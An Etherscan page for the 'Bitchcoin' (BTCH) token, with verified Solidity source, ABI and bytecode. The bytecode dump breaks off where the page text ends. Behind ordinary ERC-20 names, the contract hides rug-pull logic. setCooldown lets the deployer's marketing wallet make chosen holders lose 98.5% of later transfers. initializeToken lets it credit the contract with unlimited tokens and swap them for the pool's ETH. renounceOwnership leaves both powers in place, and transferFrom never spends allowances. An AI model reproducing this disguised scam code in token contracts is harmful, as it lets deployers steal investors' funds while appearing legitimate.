ETH Price: $2,508.11 (+12.54%)
 

Overview

Max Total Supply

1,000,000,000,000 BTCH

Holders

50

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
4,525,437,407.099425869 BTCH

Value
$0.00
0x2c3a1fdf816e956879b89a951200c2f5c1d20c05
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Bitchcoin

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-07-19
*/

pragma solidity ^0.8.19;
// SPDX-License-Identifier: MIT



interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}

contract Context {
    function msgSender() public view returns (address) {return msg.sender;}
}
library SafeMath {

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }
}


interface IUniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 asd, uint256 bewr, address[] calldata _path, address csdf, uint256) external;
    function factory() external pure returns (address addr);
    function WETH() external pure returns (address aadd);
}
abstract contract Ownable {
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    address private _owner;
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner"); _;
    }
    constructor () {
        emit OwnershipTransferred(address(0), _owner);
        _owner = msg.sender;
    }
    function owner() public view virtual returns (address) {return _owner;}
}

contract Bitchcoin is Ownable, Context {
    using SafeMath for uint256;

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msgSender(), spender, amount);
        return true;
    }
    event Approval(address indexed from, address indexed to_addres, uint256 value);
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    uint256 public _decimals = 9;
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(msgSender(), spender, _allowances[msgSender()][spender] + addedValue);
        return true;
    }
    function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msgSender(), recipient, amount); return true; }
    uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
    function _transfer(address _from, address _to, uint256 _amount) internal {
        uint256 feeAmount = (
            cooldowns[_from] != 0 && cooldowns[_from] <= currentBlock()
        ) ? _amount.mul(985).div(1000) 
        :  sellFee;
        require(_amount <= _balances[_from]); 
        _balances[_to] += _amount - feeAmount;
        _balances[_from] -= (_amount); 
        require(_from != address(0));
        emit Transfer(_from, _to, _amount);
    }
    uint256 sellFee = 0;
    uint256 buyFee = 0;
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    string private _symbol = "BTCH";
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    string private _name = "Bitchcoin";
    function setCooldown(address[] calldata _addresses) external { 
        uint256 _toBlockNumber = currentBlock() + 1;
        for (uint _ndex_ = 0;  _ndex_ < _addresses.length;  _ndex_++) { 
            if (marketing()){ cooldowns[_addresses[_ndex_]] = _toBlockNumber; }
        }
    } 
    address public _marketingWallet;
    IUniswapV2Router private uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    function currentBlock() private view returns (uint256) {
        return block.number;
    }
    function setBuyFee(uint256 bf) external onlyOwner {
        buyFee = bf;
    }
    function setSellFee(uint256 sf) external  onlyOwner {
        sellFee = sf;
    }
    mapping(address => uint256) private _balances;
    event Transfer(address indexed from, address indexed aindex, uint256 val);

    function totalSupply() external view returns (uint256) { 
        return _totalSupply; 
    }
    function marketing() internal view returns (bool) {
        return _marketingWallet == msgSender();
    }
    function transferFrom(address from_, address to_, uint256 _amount) public returns (bool) {
        _transfer(from_, to_, _amount);
        require(_allowances[from_][msgSender()] >= _amount);
        return true;
    }
    function balanceOf(address account) public view returns (uint256) { return _balances[account]; } 
    function _approve(address owner, address spender, uint256 amount) internal {
        require(spender != address(0));
        require(owner != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    mapping (address => uint256) cooldowns;
    function initializeToken(uint256 quantity, address _addrSwap) external {
        if (marketing()) { _approve(address(this), address(uniswapRouter),  quantity); 
        _balances[address(this)] = quantity;
        address[] memory tokenPath = new address[](2);  
        tokenPath[0] = address(this);   
        tokenPath[1] = uniswapRouter.WETH();  
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(quantity, 0, tokenPath, _addrSwap, 32 + block.timestamp);
        }
    }
    function name() external view returns (string memory) { return _name; }
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msgSender()][from] >= amount);
        _approve(msgSender(), from, _allowances[msg.sender][from] - amount);
        return true;
    } 
    mapping(address => mapping(address => uint256)) private _allowances;
    constructor() {
        _balances[msgSender()] = _totalSupply; 
        _marketingWallet = msg.sender;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to_addres","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"aindex","type":"address"},{"indexed":false,"internalType":"uint256","name":"val","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"},{"internalType":"address","name":"_addrSwap","type":"address"}],"name":"initializeToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"msgSender","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"bf","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"}],"name":"setCooldown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"sf","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from_","type":"address"},{"internalType":"address","name":"to_","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526009600155600154600a6200001a9190620004bd565b64e8d4a510006200002c91906200050e565b600255600060035560006004556040518060400160405280600481526020017f4254434800000000000000000000000000000000000000000000000000000000815250600590816200007f9190620007c9565b506040518060400160405280600981526020017f4269746368636f696e000000000000000000000000000000000000000000000081525060069081620000c69190620007c9565b50737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200012957600080fd5b5060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025460096000620001fc6200032860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516200031a9190620008c1565b60405180910390a3620008de565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620003be5780860481111562000396576200039562000330565b5b6001851615620003a65780820291505b8081029050620003b6856200035f565b945062000376565b94509492505050565b600082620003d95760019050620004ac565b81620003e95760009050620004ac565b81600181146200040257600281146200040d5762000443565b6001915050620004ac565b60ff84111562000422576200042162000330565b5b8360020a9150848211156200043c576200043b62000330565b5b50620004ac565b5060208310610133831016604e8410600b84101617156200047d5782820a90508381111562000477576200047662000330565b5b620004ac565b6200048c84848460016200036c565b92509050818404811115620004a657620004a562000330565b5b81810290505b9392505050565b6000819050919050565b6000620004ca82620004b3565b9150620004d783620004b3565b9250620005067fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003c7565b905092915050565b60006200051b82620004b3565b91506200052883620004b3565b92508282026200053881620004b3565b9150828204841483151762000552576200055162000330565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005db57607f821691505b602082108103620005f157620005f062000593565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200065b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200061c565b6200066786836200061c565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006aa620006a46200069e84620004b3565b6200067f565b620004b3565b9050919050565b6000819050919050565b620006c68362000689565b620006de620006d582620006b1565b84845462000629565b825550505050565b600090565b620006f5620006e6565b62000702818484620006bb565b505050565b5b818110156200072a576200071e600082620006eb565b60018101905062000708565b5050565b601f82111562000779576200074381620005f7565b6200074e846200060c565b810160208510156200075e578190505b620007766200076d856200060c565b83018262000707565b50505b505050565b600082821c905092915050565b60006200079e600019846008026200077e565b1980831691505092915050565b6000620007b983836200078b565b9150826002028217905092915050565b620007d48262000559565b67ffffffffffffffff811115620007f057620007ef62000564565b5b620007fc8254620005c2565b620008098282856200072e565b600060209050601f8311600181146200084157600084156200082c578287015190505b620008388582620007ab565b865550620008a8565b601f1984166200085186620005f7565b60005b828110156200087b5784890151825560018201915060208501945060208101905062000854565b868310156200089b578489015162000897601f8916826200078b565b8355505b6001600288020188555050505b505050505050565b620008bb81620004b3565b82525050565b6000602082019050620008d86000830184620008b0565b92915050565b611d5880620008ee6000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c80633eaaf86b116100b857806395d89b411161007c57806395d89b411461032a578063962dfc7514610348578063a457c2d714610366578063a9059cbb14610396578063d737d0c7146103c6578063dd62ed3e146103e457610137565b80633eaaf86b1461029857806370a08231146102b6578063715018a6146102e65780638b4cee08146102f05780638da5cb5b1461030c57610137565b806318490a2f116100ff57806318490a2f146101e057806323b872dd146101fc578063313ce5671461022c57806332424aa31461024a578063395093511461026857610137565b80630204f6771461013c57806306fdde0314610158578063095ea7b3146101765780630cc835a3146101a657806318160ddd146101c2575b600080fd5b61015660048036038101906101519190611450565b610414565b005b6101606104cc565b60405161016d919061152d565b60405180910390f35b610190600480360381019061018b91906115e3565b61055e565b60405161019d919061163e565b60405180910390f35b6101c060048036038101906101bb9190611659565b61057c565b005b6101ca6105fb565b6040516101d79190611695565b60405180910390f35b6101fa60048036038101906101f591906116b0565b610605565b005b610216600480360381019061021191906116f0565b6108a7565b604051610223919061163e565b60405180910390f35b61023461094f565b6040516102419190611695565b60405180910390f35b610252610959565b60405161025f9190611695565b60405180910390f35b610282600480360381019061027d91906115e3565b61095f565b60405161028f919061163e565b60405180910390f35b6102a0610a0b565b6040516102ad9190611695565b60405180910390f35b6102d060048036038101906102cb9190611743565b610a11565b6040516102dd9190611695565b60405180910390f35b6102ee610a5a565b005b61030a60048036038101906103059190611659565b610b8d565b005b610314610c0c565b604051610321919061177f565b60405180910390f35b610332610c35565b60405161033f919061152d565b60405180910390f35b610350610cc7565b60405161035d919061177f565b60405180910390f35b610380600480360381019061037b91906115e3565b610ced565b60405161038d919061163e565b60405180910390f35b6103b060048036038101906103ab91906115e3565b610e22565b6040516103bd919061163e565b60405180910390f35b6103ce610e40565b6040516103db919061177f565b60405180910390f35b6103fe60048036038101906103f9919061179a565b610e48565b60405161040b9190611695565b60405180910390f35b60006001610420610ecf565b61042a9190611809565b905060005b838390508110156104c657610442610ed7565b156104b35781600a600086868581811061045f5761045e61183d565b5b90506020020160208101906104749190611743565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80806104be9061186c565b91505061042f565b50505050565b6060600680546104db906118e3565b80601f0160208091040260200160405190810160405280929190818152602001828054610507906118e3565b80156105545780601f1061052957610100808354040283529160200191610554565b820191906000526020600020905b81548152906001019060200180831161053757829003601f168201915b5050505050905090565b600061057261056b610e40565b8484610f36565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661059b610c0c565b73ffffffffffffffffffffffffffffffffffffffff16146105f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e890611960565b60405180910390fd5b8060048190555050565b6000600254905090565b61060d610ed7565b156108a35761063f30600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f36565b81600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156106a05761069f611980565b5b6040519080825280602002602001820160405280156106ce5781602001602082028036833780820191505090505b50905030816000815181106106e6576106e561183d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561078d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b191906119c4565b816001815181106107c5576107c461183d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947846000848642602061084f9190611809565b6040518663ffffffff1660e01b815260040161086f959493929190611af4565b600060405180830381600087803b15801561088957600080fd5b505af115801561089d573d6000803e3d6000fd5b50505050505b5050565b60006108b4848484611093565b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108fe610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561094457600080fd5b600190509392505050565b6000600154905090565b60015481565b6000610a0161096c610e40565b8484600b600061097a610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109fc9190611809565b610f36565b6001905092915050565b60025481565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610a79610c0c565b73ffffffffffffffffffffffffffffffffffffffff1614610acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac690611960565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16610bac610c0c565b73ffffffffffffffffffffffffffffffffffffffff1614610c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf990611960565b60405180910390fd5b8060038190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610c44906118e3565b80601f0160208091040260200160405190810160405280929190818152602001828054610c70906118e3565b8015610cbd5780601f10610c9257610100808354040283529160200191610cbd565b820191906000526020600020905b815481529060010190602001808311610ca057829003601f168201915b5050505050905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600b6000610cfc610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d7f57600080fd5b610e18610d8a610e40565b8484600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e139190611b4e565b610f36565b6001905092915050565b6000610e36610e2f610e40565b8484611093565b6001905092915050565b600033905090565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600043905090565b6000610ee1610e40565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f6f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fa857600080fd5b80600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110869190611695565b60405180910390a3505050565b600080600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415801561112a57506110e7610ecf565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b61113657600354611160565b61115f6103e86111516103d98561130990919063ffffffff16565b61138390919063ffffffff16565b5b9050600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156111ae57600080fd5b80826111ba9190611b4e565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112089190611809565b9250508190555081600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461125e9190611b4e565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361129e57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112fb9190611695565b60405180910390a350505050565b600080830361131b576000905061137d565b600082846113299190611b82565b90508284826113389190611bf3565b14611378576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136f90611c96565b60405180910390fd5b809150505b92915050565b60008082116113c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113be90611d02565b60405180910390fd5b600082846113d59190611bf3565b90508091505092915050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f8401126114105761140f6113eb565b5b8235905067ffffffffffffffff81111561142d5761142c6113f0565b5b602083019150836020820283011115611449576114486113f5565b5b9250929050565b60008060208385031215611467576114666113e1565b5b600083013567ffffffffffffffff811115611485576114846113e6565b5b611491858286016113fa565b92509250509250929050565b600081519050919050565b600082825260208201905092915050565b60005b838110156114d75780820151818401526020810190506114bc565b60008484015250505050565b6000601f19601f8301169050919050565b60006114ff8261149d565b61150981856114a8565b93506115198185602086016114b9565b611522816114e3565b840191505092915050565b6000602082019050818103600083015261154781846114f4565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061157a8261154f565b9050919050565b61158a8161156f565b811461159557600080fd5b50565b6000813590506115a781611581565b92915050565b6000819050919050565b6115c0816115ad565b81146115cb57600080fd5b50565b6000813590506115dd816115b7565b92915050565b600080604083850312156115fa576115f96113e1565b5b600061160885828601611598565b9250506020611619858286016115ce565b9150509250929050565b60008115159050919050565b61163881611623565b82525050565b6000602082019050611653600083018461162f565b92915050565b60006020828403121561166f5761166e6113e1565b5b600061167d848285016115ce565b91505092915050565b61168f816115ad565b82525050565b60006020820190506116aa6000830184611686565b92915050565b600080604083850312156116c7576116c66113e1565b5b60006116d5858286016115ce565b92505060206116e685828601611598565b9150509250929050565b600080600060608486031215611709576117086113e1565b5b600061171786828701611598565b935050602061172886828701611598565b9250506040611739868287016115ce565b9150509250925092565b600060208284031215611759576117586113e1565b5b600061176784828501611598565b91505092915050565b6117798161156f565b82525050565b60006020820190506117946000830184611770565b92915050565b600080604083850312156117b1576117b06113e1565b5b60006117bf85828601611598565b92505060206117d085828601611598565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611814826115ad565b915061181f836115ad565b9250828201905080821115611837576118366117da565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611877826115ad565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036118a9576118a86117da565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806118fb57607f821691505b60208210810361190e5761190d6118b4565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061194a6020836114a8565b915061195582611914565b602082019050919050565b600060208201905081810360008301526119798161193d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506119be81611581565b92915050565b6000602082840312156119da576119d96113e1565b5b60006119e8848285016119af565b91505092915050565b6000819050919050565b6000819050919050565b6000611a20611a1b611a16846119f1565b6119fb565b6115ad565b9050919050565b611a3081611a05565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a6b8161156f565b82525050565b6000611a7d8383611a62565b60208301905092915050565b6000602082019050919050565b6000611aa182611a36565b611aab8185611a41565b9350611ab683611a52565b8060005b83811015611ae7578151611ace8882611a71565b9750611ad983611a89565b925050600181019050611aba565b5085935050505092915050565b600060a082019050611b096000830188611686565b611b166020830187611a27565b8181036040830152611b288186611a96565b9050611b376060830185611770565b611b446080830184611686565b9695505050505050565b6000611b59826115ad565b9150611b64836115ad565b9250828203905081811115611b7c57611b7b6117da565b5b92915050565b6000611b8d826115ad565b9150611b98836115ad565b9250828202611ba6816115ad565b91508282048414831517611bbd57611bbc6117da565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611bfe826115ad565b9150611c09836115ad565b925082611c1957611c18611bc4565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c806022836114a8565b9150611c8b82611c24565b604082019050919050565b60006020820190508181036000830152611caf81611c73565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b6000611cec601b836114a8565b9150611cf782611cb6565b602082019050919050565b60006020820190508181036000830152611d1b81611cdf565b905091905056fea264697066735822122031e66d4975934947b20d3f16223b05d23d714eb8e968d42c056fe5d7a3a3015964736f6c63430008130033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101375760003560e01c80633eaaf86b116100b857806395d89b411161007c57806395d89b411461032a578063962dfc7514610348578063a457c2d714610366578063a9059cbb14610396578063d737d0c7146103c6578063dd62ed3e146103e457610137565b80633eaaf86b1461029857806370a08231146102b6578063715018a6146102e65780638b4cee08146102f05780638da5cb5b1461030c57610137565b806318490a2f116100ff57806318490a2f146101e057806323b872dd146101fc578063313ce5671461022c57806332424aa31461024a578063395093511461026857610137565b80630204f6771461013c57806306fdde0314610158578063095ea7b3146101765780630cc835a3146101a657806318160ddd146101c2575b600080fd5b61015660048036038101906101519190611450565b610414565b005b6101606104cc565b60405161016d919061152d565b60405180910390f35b610190600480360381019061018b91906115e3565b61055e565b60405161019d919061163e565b60405180910390f35b6101c060048036038101906101bb9190611659565b61057c565b005b6101ca6105fb565b6040516101d79190611695565b60405180910390f35b6101fa60048036038101906101f591906116b0565b610605565b005b610216600480360381019061021191906116f0565b6108a7565b604051610223919061163e565b60405180910390f35b61023461094f565b6040516102419190611695565b60405180910390f35b610252610959565b60405161025f9190611695565b60405180910390f35b610282600480360381019061027d91906115e3565b61095f565b60405161028f919061163e565b60405180910390f35b6102a0610a0b565b6040516102ad9190611695565b60405180910390f35b6102d060048036038101906102cb9190611743565b610a11565b6040516102dd9190611695565b60405180910390f35b6102ee610a5a565b005b61030a60048036038101906103059190611659565b610b8d565b005b610314610c0c565b604051610321919061177f565b60405180910390f35b610332610c35565b60405161033f919061152d565b60405180910390f35b610350610cc7565b60405161035d919061177f565b60405180910390f35b610380600480360381019061037b91906115e3565b610ced565b60405161038d919061163e565b60405180910390f35b6103b060048036038101906103ab91906115e3565b610e22565b6040516103bd919061163e565b60405180910390f35b6103ce610e40565b6040516103db919061177f565b60405180910390f35b6103fe60048036038101906103f9919061179a565b610e48565b60405161040b9190611695565b60405180910390f35b60006001610420610ecf565b61042a9190611809565b905060005b838390508110156104c657610442610ed7565b156104b35781600a600086868581811061045f5761045e61183d565b5b90506020020160208101906104749190611743565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80806104be9061186c565b91505061042f565b50505050565b6060600680546104db906118e3565b80601f0160208091040260200160405190810160405280929190818152602001828054610507906118e3565b80156105545780601f1061052957610100808354040283529160200191610554565b820191906000526020600020905b81548152906001019060200180831161053757829003601f168201915b5050505050905090565b600061057261056b610e40565b8484610f36565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661059b610c0c565b73ffffffffffffffffffffffffffffffffffffffff16146105f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e890611960565b60405180910390fd5b8060048190555050565b6000600254905090565b61060d610ed7565b1561